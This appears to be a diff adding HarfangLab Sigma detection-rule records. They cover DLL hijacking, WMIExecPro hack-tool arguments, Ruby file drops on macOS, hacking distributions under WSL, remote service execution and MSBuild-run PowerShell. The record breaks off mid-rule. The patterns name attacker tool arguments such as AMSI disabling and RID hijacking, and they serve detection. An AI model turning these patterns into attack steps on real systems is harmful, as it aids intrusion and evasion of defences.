+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599685Z",
+  "creation_date": "2026-03-23T11:45:34.599689Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599696Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_microsoftedgebchost.yml",
+  "content": "title: DLL Hijacking via microsoftedgebchost.exe\nid: 5189d993-9c1a-40b7-981c-00057f326e96\ndescription: |\n    Detects potential Windows DLL Hijacking via microsoftedgebchost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'microsoftedgebchost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\iertutil.dll'\n            - '\\USERENV.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5189d993-9c1a-40b7-981c-00057f326e96",
+  "rule_name": "DLL Hijacking via microsoftedgebchost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via microsoftedgebchost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "518c2cf8-5933-4ec7-b1a9-bf85a9b376a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608686Z",
+  "creation_date": "2026-03-23T11:45:34.608689Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608696Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/XiaoliChan/wmiexec-Pro",
+    "https://attack.mitre.org/techniques/T1047/"
+  ],
+  "name": "t1047_wmiexecpro.yml",
+  "content": "title: WMIExecPro HackTool Executed\nid: 518c2cf8-5933-4ec7-b1a9-bf85a9b376a7\ndescription: |\n    Detects default command-line arguments from WmiExecPro.\n    Windows Management Instrumentation (WMI) allows remote control and management of Windows systems, and WmiExecPro is a tool often used by attackers for command execution.\n    It is recommended to investigate the source of the WmiExecPro execution, review network traffic for suspicious WMI activities, and assess whether the command-line arguments are legitimate or indicative of malicious intent.\nreferences:\n    - https://github.com/XiaoliChan/wmiexec-Pro\n    - https://attack.mitre.org/techniques/T1047/\ndate: 2023/09/01\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1047\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1562.006\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.WmiExecPro\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'python.exe'\n\n    selection_cmd_amsi:\n        CommandLine|contains|all:\n            - ' amsi '\n            - ' -disable'\n\n    selection_cmd_exec_command_1:\n        CommandLine|contains: ' exec-command '\n\n    selection_cmd_exec_command_2:\n        CommandLine|contains:\n            - ' -shell'\n            - ' -command'\n            - ' -silent'\n\n    selection_cmd_rdp_1:\n        CommandLine|contains: ' rdp '\n\n    selection_cmd_rdp_2:\n        CommandLine|contains:\n            - ' -enable'\n            - ' -enable-ram'\n            - ' -disable'\n            - ' -disable-ram'\n\n    selection_cmd_firewall_1:\n        CommandLine|contains: ' firewall '\n\n    selection_cmd_firewall_2:\n        CommandLine|contains:\n            - ' -dump'\n            - ' -search-port'\n            - ' -rule-id'\n            - ' -firewall-profile'\n\n    selection_cmd_execute_vbs_1:\n        CommandLine|contains: ' execute-vbs '\n\n    selection_cmd_execute_vbs_2:\n        CommandLine|contains:\n            - ' -vbs'\n            - ' -filter'\n            - ' -timer'\n            - ' -remove'\n            - ' -deep-clean'\n\n    selection_cmd_rid_hijack_1:\n        CommandLine|contains: ' rid-hijack '\n\n    selection_cmd_rid_hijack_2:\n        CommandLine|contains:\n            - ' -query'\n            - ' -user'\n            - ' -hijack-rid'\n            - ' -action'\n            - ' -blank-pass-login'\n            - ' -restore'\n\n    condition: selection and (\n        selection_cmd_amsi or\n        all of selection_cmd_exec_command_* or\n        all of selection_cmd_rdp_* or\n        all of selection_cmd_firewall_* or\n        all of selection_cmd_execute_vbs_* or\n        all of selection_cmd_rid_hijack_*)\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "518c2cf8-5933-4ec7-b1a9-bf85a9b376a7",
+  "rule_name": "WMIExecPro HackTool Executed",
+  "rule_description": "Detects default command-line arguments from WmiExecPro.\nWindows Management Instrumentation (WMI) allows remote control and management of Windows systems, and WmiExecPro is a tool often used by attackers for command execution.\nIt is recommended to investigate the source of the WmiExecPro execution, review network traffic for suspicious WMI activities, and assess whether the command-line arguments are legitimate or indicative of malicious intent.\n",
+  "rule_creation_date": "2023-09-01",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047",
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "51ab3513-a96b-4ba0-ba57-465e81bdb29c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617738Z",
+  "creation_date": "2026-03-23T11:45:34.617740Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617745Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cloud.google.com/blog/topics/threat-intelligence/north-korea-supply-chain/?hl=en",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_ruby_file_create_susp_location.yml",
+  "content": "title: File Created in Suspicious Folder via Ruby\nid: 51ab3513-a96b-4ba0-ba57-465e81bdb29c\ndescription: |\n    Detects a file creation by Ruby in a suspicious location.\n    Adversaries may use Ruby to download and execute further tools.\n    It is recommended to check the content of the created file to determine its legitimacy.\nreferences:\n    - https://cloud.google.com/blog/topics/threat-intelligence/north-korea-supply-chain/?hl=en\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2024/09/26\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Script.Ruby\n    - classification.macOS.Behavior.CommandAndControl\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection:\n        Image|endswith: '/ruby'\n        Kind: 'create'\n        Path|startswith:\n            - '/usr/local/bin/'\n            - '/users/shared/'\n            - '/private/etc/'\n\n    exclusion_homebrew:\n        Image|startswith: '/usr/local/Homebrew/'\n        Path|startswith: '/usr/local/bin/'\n\n    exclusion_gem:\n        Path|startswith: '/usr/local/bin'\n        ProcessParentCommandLine|contains: 'gem install '\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "51ab3513-a96b-4ba0-ba57-465e81bdb29c",
+  "rule_name": "File Created in Suspicious Folder via Ruby",
+  "rule_description": "Detects a file creation by Ruby in a suspicious location.\nAdversaries may use Ruby to download and execute further tools.\nIt is recommended to check the content of the created file to determine its legitimacy.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "51ee3e20-cde8-4c82-a9d2-51a87360411b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.297255Z",
+  "creation_date": "2026-03-23T11:45:35.297257Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297261Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1",
+    "https://blog.qualys.com/vulnerabilities-threat-research/2022/04/20/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-2",
+    "https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux",
+    "https://attack.mitre.org/techniques/T1202/"
+  ],
+  "name": "t1202_wsl_hacking_distribution_installation.yml",
+  "content": "title: Hacking Distribution Installed Under WSL\nid: 51ee3e20-cde8-4c82-a9d2-51a87360411b\ndescription: |\n  Detects the installation of various Linux hacking distributions through Windows Subsystem For Linux (WSL).\n  Popular hacking distributions provide pre-installed penetration testing and security assessment tools that could be leveraged for malicious purposes.\n  Threat actors may abuse WSL to evade Windows security controls and execute malicious code.\n  It is recommended to monitor process trees and subsequent WSL activities for signs of malicious behavior.\nreferences:\n    - https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1\n    - https://blog.qualys.com/vulnerabilities-threat-research/2022/04/20/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-2\n    - https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux\n    - https://attack.mitre.org/techniques/T1202/\ndate: 2025/01/06\nmodified: 2026/03/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1202\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Lxss\\\\*\\DistributionName'\n        Details|contains:\n            - 'kali-linux'\n            - 'Athena'\n            - 'ParrotOS'\n\n    condition: selection\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "51ee3e20-cde8-4c82-a9d2-51a87360411b",
+  "rule_name": "Hacking Distribution Installed Under WSL",
+  "rule_description": "Detects the installation of various Linux hacking distributions through Windows Subsystem For Linux (WSL).\nPopular hacking distributions provide pre-installed penetration testing and security assessment tools that could be leveraged for malicious purposes.\nThreat actors may abuse WSL to evade Windows security controls and execute malicious code.\nIt is recommended to monitor process trees and subsequent WSL activities for signs of malicious behavior.\n",
+  "rule_creation_date": "2025-01-06",
+  "rule_modified_date": "2026-03-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1202"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "52550a8d-626b-41ed-8999-c4d5ffca7060",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087381Z",
+  "creation_date": "2026-03-23T11:45:34.087383Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087388Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/post-exploitation_lateral-movement.htm",
+    "https://attack.mitre.org/techniques/T1036/004/"
+  ],
+  "name": "t1036_004_service_image_remote.yml",
+  "content": "title: Remote Image Executed as a Service\nid: 52550a8d-626b-41ed-8999-c4d5ffca7060\ndescription: |\n    Detects attempts to execute remote images through service creation and installation, a technique commonly employed in lateral movement.\n    This method, notably used by Cobalt Strike's PsExec module, allows attackers to move laterally by creating services on remote systems that execute malicious payloads.\n    While legitimate administrative tools may use similar techniques, unauthorized remote service execution often indicates adversary activity.\n    It is recommended to investigate the source of remote service creation, validate the legitimacy of the service binary path, and correlate with authentication logs to identify potential lateral movement attempts.\nreferences:\n    - https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/post-exploitation_lateral-movement.htm\n    - https://attack.mitre.org/techniques/T1036/004/\ndate: 2020/12/09\nmodified: 2025/07/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.004\n    - attack.execution\n    - attack.t1569.002\n    - attack.lateral_movement\n    - attack.t1021.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\Windows\\System32\\services.exe'\n        Image: '\\\\\\\\*\\ADMIN$\\\\*.exe'\n    exclusion_microsoft_configuration_mgr:\n        ProcessSigned: 'true'\n        ProcessProduct: 'Microsoft Configuration Manager'\n        ProcessSignature: 'Microsoft Corporation'\n    exclusion_raynet:\n        ProcessProduct: 'RayManageSoft'\n        ProcessCompany: 'Raynet GmbH'\n        ProcessDescription: 'Remote Execution Service'\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "52550a8d-626b-41ed-8999-c4d5ffca7060",
+  "rule_name": "Remote Image Executed as a Service",
+  "rule_description": "Detects attempts to execute remote images through service creation and installation, a technique commonly employed in lateral movement.\nThis method, notably used by Cobalt Strike's PsExec module, allows attackers to move laterally by creating services on remote systems that execute malicious payloads.\nWhile legitimate administrative tools may use similar techniques, unauthorized remote service execution often indicates adversary activity.\nIt is recommended to investigate the source of remote service creation, validate the legitimacy of the service binary path, and correlate with authentication logs to identify potential lateral movement attempts.\n",
+  "rule_creation_date": "2020-12-09",
+  "rule_modified_date": "2025-07-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1036.004",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5258ce45-d23f-411e-8ffe-675a220f6420",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080151Z",
+  "creation_date": "2026-03-23T11:45:34.080153Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080157Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Mr-Un1k0d3r/PowerLessShell",
+    "https://attack.mitre.org/techniques/T1127/001/",
+    "https://attack.mitre.org/techniques/T1027/004/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1127_001_msbuild_powershell_execution.yml",
+  "content": "title: PowerShell Script Executed via MSBuild\nid: 5258ce45-d23f-411e-8ffe-675a220f6420\ndescription: |\n    Detects a PowerShell script execution by the MSBuild process.\n    Attackers often deliver PowerShell scripts as uncompiled code, and in order to hide the powershell.exe process, compile them directly on the victim's machine.\n    This can be indicative of a PowerShell-less attack such as PowerLessShell or through frameworks such as Empire.\n    It is recommended to analyze the executed PowerShell script for malicious content.\nreferences:\n    - https://github.com/Mr-Un1k0d3r/PowerLessShell\n    - https://attack.mitre.org/techniques/T1127/001/\n    - https://attack.mitre.org/techniques/T1027/004/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2023/04/03\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1127.001\n    - attack.t1027.004\n    - attack.t1036\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.LOLBin.Msbuild\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MSBuild.exe'\n    condition: selection\nfalsepositives:\n    - Legitimate developers including PowerShell scripts into their builds.\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5258ce45-d23f-411e-8ffe-675a220f6420",
+  "rule_name": "PowerShell Script Executed via MSBuild",
+  "rule_description": "Detects a PowerShell script execution by the MSBuild process.\nAttackers often deliver PowerShell scripts as uncompiled code, and in order to hide the powershell.exe process, compile them directly on the victim's machine.\nThis can be indicative of a PowerShell-less attack such as PowerLessShell or through frameworks such as Empire.\nIt is recommended to analyze the executed PowerShell script for malicious content.\n",
+  "rule_creation_date": "2023-04-03",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.004",
+    "attack.t1036",
+    "attack.t1059.001",
+    "attack.t1127.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "525b00f7-a2d5-466c-844d-35b6441c01c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082009Z",
+  "creation_date": "2026-03-23T11:45:34.082011Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082015Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dpapimig.yml",
+  "content": "title: DLL Hijacking via dpapimig.exe\nid: 525b00f7-a2d5-466c-844d-35b6441c01c7\ndescription: |\n    Detects potential Windows DLL Hijacking via dpapimig.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dpapimig.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dui70.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\SAMLIB.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "525b00f7-a2d5-466c-844d-35b6441c01c7",
+  "rule_name": "DLL Hijacking via dpapimig.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dpapimig.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "52676a08-8666-444d-83c4-cd0d831e19b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624967Z",
+  "creation_date": "2026-03-23T11:45:34.624969Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624974Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1036/003/"
+  ],
+  "name": "t1036_003_renamed_suspicious_executables.yml",
